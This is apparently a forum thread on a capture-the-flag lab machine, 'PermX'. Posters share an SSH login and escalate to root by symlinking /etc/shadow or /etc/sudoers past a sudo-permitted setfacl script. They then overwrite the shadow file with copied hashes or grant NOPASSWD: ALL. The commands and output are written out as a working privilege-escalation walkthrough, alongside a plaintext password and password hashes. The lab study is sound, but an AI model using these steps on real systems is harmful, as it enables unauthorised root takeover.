[trevor69000]

Easy 

---

ssh mtz@permx.htb  password: 03F6lY3uXAP2bkW8

mtz@permx:~$ ln -s / root
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
mtz@permx:~$ nano /etc/shadow

after the overwrite the root password with the password(which is the hash) of mtz
it might say text file is not writeable but you can cause we have altered the permissions
mtz@permx:~$ su root
Password: 03F6lY3uXAP2bkW8
root@permx:/home/mtz# id
uid=0(root) gid=0(root) groups=0(root)

this is how the shado file must look after the changes

echo 'root:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19742:0:99999:7:::
mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
lxd:!:19742::::::
mysql:!:19742:0:99999:7:::' > /etc/shadow

[Animagus]

Am I missing out on something?
----------------------------------------------********************-----------------------------------------------------

mtz@permx:~$ ls -lah
total 36K
drwxr-x---  4 mtz  mtz  4.0K Jul 17 15:53 .
drwxr-xr-x  3 root root 4.0K Jan 20 18:10 ..
lrwxrwxrwx  1 root root    9 Jan 20 18:12 .bash_history -> /dev/null
-rw-r--r--  1 mtz  mtz  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 mtz  mtz  3.7K Jan  6  2022 .bashrc
drwx------  2 mtz  mtz  4.0K May 31 11:14 .cache
lrwxrwxrwx  1 root root    9 Jan 20 18:37 .mysql_history -> /dev/null
-rw-r--r--  1 mtz  mtz  807 Jan  6  2022 .profile
lrwxrwxrwx  1 mtz  mtz    1 Jul 17 15:53 root -> /
-rw-rw-r--+ 1 mtz  mtz    44 Jul 17 15:42 script.sh
drwx------  2 mtz  mtz  4.0K Jan 20 18:10 .ssh
lrwxrwxrwx  1 mtz  mtz    27 Jul 17 15:53 sudoers -> /home/mtz/../../etc/sudoers
-rw-r-----  1 root mtz    33 Jul 17 15:34 user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
Target must be a file.

[lrock]

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh


mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"


mtz@permx:~$ ls -l /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh

mtz@permx:~$ ln -s /etc/sudoers ./privesc

mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/privesc

mtz@permx:~$ ls -l
total 16
-rw-rw-r--  1 mtz  mtz  3 Jul  9 17:51 oi.txt
lrwxrwxrwx  1 mtz  mtz 12 Jul  9 19:27 privesc -> /etc/sudoers
-rwxrwxrwx+ 1 mtz  mtz 60 Jul  9 14:52 rev.sh
-rw-rw-r--+ 1 mtz  mtz 51 Jul  9 18:37 safe_file
----rwx---+ 1 mtz  mtz  0 Jul  9 14:51 test.txt
-rw-r-----  1 root mtz 33 Jul  9 07:05 user.txt

mtz@permx:~$ nano privesc

@includedir /etc/sudoers.d
#mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
mtz ALL=(ALL:ALL) NOPASSWD: ALL

mtz@permx:~$ sudo su
root@permx:/home/mtz# whoami
root

root@permx:/home/mtz# id
uid=0(root) gid=0(root) groups=0(root)